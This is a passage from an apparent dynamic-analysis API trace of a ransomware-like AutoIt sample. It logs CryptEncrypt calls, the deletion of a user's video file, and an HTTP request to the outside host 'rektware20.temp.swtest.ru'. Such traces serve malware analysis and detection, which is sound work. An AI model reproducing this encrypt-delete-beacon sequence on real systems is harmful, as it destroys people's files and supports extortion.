wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.252] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.252] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.252] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.252] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.252] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.252] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.252] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0068.252] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.252] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.253] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0068.253] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.253] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.253] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0068.253] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.253] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.253] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.253] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.253] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.253] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.253] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.253] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.253] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.253] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0068.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621660, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0068.254] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0068.254] CryptEncrypt (in: hKey=0x164c330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x48bc, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x48c0) returned 1 [0068.254] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.254] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.254] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.254] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.254] CharLowerBuffW (in: lpsz="byte[18625]", cchLength=0xb | out: lpsz="byte[18625]") returned 0xb [0068.254] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.255] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.255] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.255] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.255] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0068.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16219d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0068.255] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0068.255] CryptEncrypt (in: hKey=0x164c330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x18818d8*, pdwDataLen=0x130e618*=0x48bc, dwBufLen=0x48c0 | out: pbData=0x18818d8*, pdwDataLen=0x130e618*=0x48c0) returned 1 [0068.255] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.255] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.255] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.255] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.255] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.256] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.256] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0068.256] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.257] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0068.257] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.257] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.257] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.257] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.257] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0068.257] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.257] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.257] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.257] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.257] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.257] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.257] WriteFile (in: hFile=0x2ac, lpBuffer=0x17c36a8*, nNumberOfBytesToWrite=0x48c0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17c36a8*, lpNumberOfBytesWritten=0x130f01c*=0x48c0, lpOverlapped=0x0) returned 1 [0068.259] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.259] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.259] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0068.259] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.259] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.259] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0068.259] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0068.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16214e0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0068.259] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0068.259] CryptDestroyKey (hKey=0x164c330) returned 1 [0068.259] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.260] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.260] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0068.260] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.260] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0068.260] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0068.260] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0068.260] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.260] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.260] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0068.260] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.260] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.260] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.260] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.260] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.260] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0068.260] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.260] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0068.260] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.260] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.260] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.261] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.261] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0068.261] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.261] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.261] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0068.261] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0068.261] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0068.261] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0068.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0068.261] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0068.261] CryptReleaseContext (hProv=0x17aaa28, dwFlags=0x0) returned 1 [0068.261] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.261] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.261] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0068.261] FreeLibrary (hLibModule=0x74c60000) returned 1 [0068.261] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.262] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.262] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.262] CloseHandle (hObject=0x3bc) returned 1 [0068.263] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.263] CloseHandle (hObject=0x2ac) returned 1 [0068.267] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.268] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0068.268] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", lpFilePart=0x0) returned 0x40 [0068.268] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\jj5ojsd4qqtv6c.mkv")) returned 0x20 [0068.268] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c7b0 [0068.268] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jJ5oJsd4QqtV6c.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\jj5ojsd4qqtv6c.mkv")) returned 1 [0068.272] FindNextFileW (in: hFindFile=0x164c7b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0068.272] FindClose (in: hFindFile=0x164c7b0 | out: hFindFile=0x164c7b0) returned 1 [0068.272] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0068.272] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.272] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.272] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.273] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0068.273] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0068.273] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.273] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0068.273] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0068.273] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0068.273] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0068.273] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f70, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f70, lpdwBufferLength=0x130ef8c) returned 1 [0068.273] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0068.273] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0068.273] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0068.274] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0068.274] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0068.274] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0068.274] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0068.274] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0068.274] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0068.275] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0068.275] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0068.275] CloseHandle (hObject=0x0) returned 0 [0068.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\jkSl.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.275] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 